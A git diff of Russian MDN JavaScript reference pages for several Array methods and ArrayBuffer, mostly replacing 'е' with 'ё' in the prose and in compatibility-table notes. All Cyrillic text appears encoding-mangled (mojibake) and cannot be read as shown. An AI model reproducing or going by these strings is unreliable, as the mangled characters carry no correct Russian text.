+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ†Π΅Π»Π΅ΠΉ обучСния. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Ρ€Π°Π²Π½ΡΡ‚ΡŒ массив с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ встроСнных ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{jsxref("Array.prototype.flat()")}}</p>
<pre class="brush: js">function flatten(arr) {
const result = []
@@ -370,7 +370,7 @@ if (!Array.prototype.forEach) {
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.builtins.Array.forEach")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/array/keys/index.html b/files/ru/web/javascript/reference/global_objects/array/keys/index.html
index 94cc84dd43..21899980d1 100644
--- a/files/ru/web/javascript/reference/global_objects/array/keys/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/keys/index.html
@@ -76,7 +76,7 @@ console.log(denseKeys); // [0, 1, 2]
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.builtins.Array.keys")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html
index 2b69fd256f..8857ca7b47 100644
--- a/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html
@@ -145,7 +145,7 @@ if (!Array.prototype.lastIndexOf) {
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.builtins.Array.lastIndexOf")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/array/map/index.html b/files/ru/web/javascript/reference/global_objects/array/map/index.html
index 89a4c3362c..b9adf151c8 100644
--- a/files/ru/web/javascript/reference/global_objects/array/map/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/map/index.html
@@ -270,7 +270,7 @@ if (!Array.prototype.map) {
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.builtins.Array.map")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/array/reduce/index.html b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html
index b135b336ee..72c06b90b5 100644
--- a/files/ru/web/javascript/reference/global_objects/array/reduce/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/reduce/index.html
@@ -302,7 +302,7 @@ if (!Array.prototype.reduce) {
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.builtins.Array.reduce")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/array/reverse/index.html b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html
index 811d7adea9..d5845f1bbd 100644
--- a/files/ru/web/javascript/reference/global_objects/array/reverse/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/reverse/index.html
@@ -28,7 +28,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>ΠŸΠ΅Ρ€Π΅Π²Π΅Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ массив</p>
+<p>ΠŸΠ΅Ρ€Π΅Π²Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ массив</p>
<h2 id="Description" name="Description">ОписаниС</h2>
@@ -82,7 +82,7 @@ console.log(myArray) // ['Ρ‚Ρ€ΠΈ', 'Π΄Π²Π°', 'ΠΎΠ΄ΠΈΠ½']
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.builtins.Array.reverse")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/array/slice/index.html b/files/ru/web/javascript/reference/global_objects/array/slice/index.html
index d3b197f00b..4654f52d0a 100644
--- a/files/ru/web/javascript/reference/global_objects/array/slice/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/slice/index.html
@@ -28,8 +28,8 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
<dt><code>begin</code> {{optional_inline}}</dt>
<dd>ИндСкс (счёт начинаСтся с нуля), ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅.</dd>
<dd>Если индСкс ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ, <code>begin</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ смСщСниС ΠΎΡ‚ ΠΊΠΎΠ½Ρ†Π° ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ. Π’Ρ‹Π·ΠΎΠ² <code>slice(-2)</code> ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Ρ‚ Π΄Π²Π° послСдних элСмСнта ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</dd>
- <dd>Если <code>begin</code>Β Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, <code>slice()</code> Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с индСкса <code>0</code>.</dd>
- <dd>Если <code>begin</code> большС Π΄Π»ΠΈΠ½Ρ‹ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ вСрнСтся пустой массив.</dd>
+ <dd>Если <code>begin</code>Β Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, <code>slice()</code> Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с индСкса <code>0</code>.</dd>
+ <dd>Если <code>begin</code> большС Π΄Π»ΠΈΠ½Ρ‹ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ вСрнётся пустой массив.</dd>
<dt><code>end</code> {{optional_inline}}</dt>
<dd>ИндСкс (счёт начинаСтся с нуля), ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π·Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅. ΠœΠ΅Ρ‚ΠΎΠ΄ <code>slice()</code> ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ элСмСнты с индСксом мСньшС <code>end</code>.</dd>
<dd>Π’Ρ‹Π·ΠΎΠ² <code>slice(1, 4)</code> ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Ρ‚ элСмСнты со Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠΎ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚Ρ‹ΠΉ (элСмСнты ΠΏΠΎ индСксам 1, 2 ΠΈ 3).</dd>
@@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Новый массив, содСрТащий ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½Π½Ρ‹Π΅ элСмСнты.</p>
+<p>Новый массив, содСрТащий ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Π½Π½Ρ‹Π΅ элСмСнты.</p>
<h2 id="Description" name="Description">ОписаниС</h2>
@@ -228,7 +228,7 @@ var list1 = list(1, 2, 3); // [1, 2, 3]
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.builtins.Array.slice")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/array/some/index.html b/files/ru/web/javascript/reference/global_objects/array/some/index.html
index 9bc3fbd7f3..a9d6aea2e0 100644
--- a/files/ru/web/javascript/reference/global_objects/array/some/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/some/index.html
@@ -52,7 +52,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/some
<h2 id="Description" name="Description">ОписаниС</h2>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>some()</code> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>callback</code> ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта, ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π² массивС Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠΉ, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ <code>callback</code> Π²Π΅Ρ€Π½Π΅Ρ‚ <em>истинноС</em> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, становящССся Ρ€Π°Π²Π½Ρ‹ΠΌ <code>true</code> ΠΏΡ€ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΈΠΈ Π΅Π³ΠΎ ΠΊ Ρ‚ΠΈΠΏΡƒ {{jsxref("Boolean")}}). Если Ρ‚Π°ΠΊΠΎΠΉ элСмСнт Π½Π°ΠΉΠ΄Π΅Π½, ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>some()</code> Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>true</code>. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС, Ссли <code>callback</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code> для всСх элСмСнтов массива, ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>some()</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code>. Ѐункция <code>callback</code> вызываСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для индСксов массива, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… присвоСнныС значСния; ΠΎΠ½Π° Π½Π΅ вызываСтся для индСксов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ ΠΈΠ»ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ значСния Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π»ΠΈΡΡŒ.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>some()</code> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>callback</code> ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта, ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π² массивС Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚ Ρ‚Π°ΠΊΠΎΠΉ, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ <code>callback</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <em>истинноС</em> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, становящССся Ρ€Π°Π²Π½Ρ‹ΠΌ <code>true</code> ΠΏΡ€ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΈΠΈ Π΅Π³ΠΎ ΠΊ Ρ‚ΠΈΠΏΡƒ {{jsxref("Boolean")}}). Если Ρ‚Π°ΠΊΠΎΠΉ элСмСнт Π½Π°ΠΉΠ΄Π΅Π½, ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>some()</code> Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>true</code>. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС, Ссли <code>callback</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code> для всСх элСмСнтов массива, ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>some()</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code>. Ѐункция <code>callback</code> вызываСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для индСксов массива, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… присвоСнныС значСния; ΠΎΠ½Π° Π½Π΅ вызываСтся для индСксов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ ΠΈΠ»ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ значСния Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π»ΠΈΡΡŒ.</p>
<p>Ѐункция <code>callback</code> вызываСтся с трСмя Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ: Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ элСмСнта, индСксом элСмСнта ΠΈ массивом, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ осущСствляСтся ΠΏΡ€ΠΎΡ…ΠΎΠ΄.</p>
diff --git a/files/ru/web/javascript/reference/global_objects/array/sort/index.html b/files/ru/web/javascript/reference/global_objects/array/sort/index.html
index 16b73503c5..f33119cd53 100644
--- a/files/ru/web/javascript/reference/global_objects/array/sort/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/sort/index.html
@@ -27,7 +27,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>ΠžΡ‚ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив. Π’Π°ΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎ копия массива Π½Π΅ создаСтся - массив сортируСтся <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">Π½Π° мСстС</a></em>.</p>
+<p>ΠžΡ‚ΡΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив. Π’Π°ΠΆΠ½ΠΎ, Ρ‡Ρ‚ΠΎ копия массива Π½Π΅ создаётся - массив сортируСтся <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">Π½Π° мСстС</a></em>.</p>
<h2 id="Description" name="Description">ОписаниС</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html
index 3dfc1687ab..19d63d3859 100644
--- a/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html
+++ b/files/ru/web/javascript/reference/global_objects/arraybuffer/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
---
<div>{{JSRef}}</div>
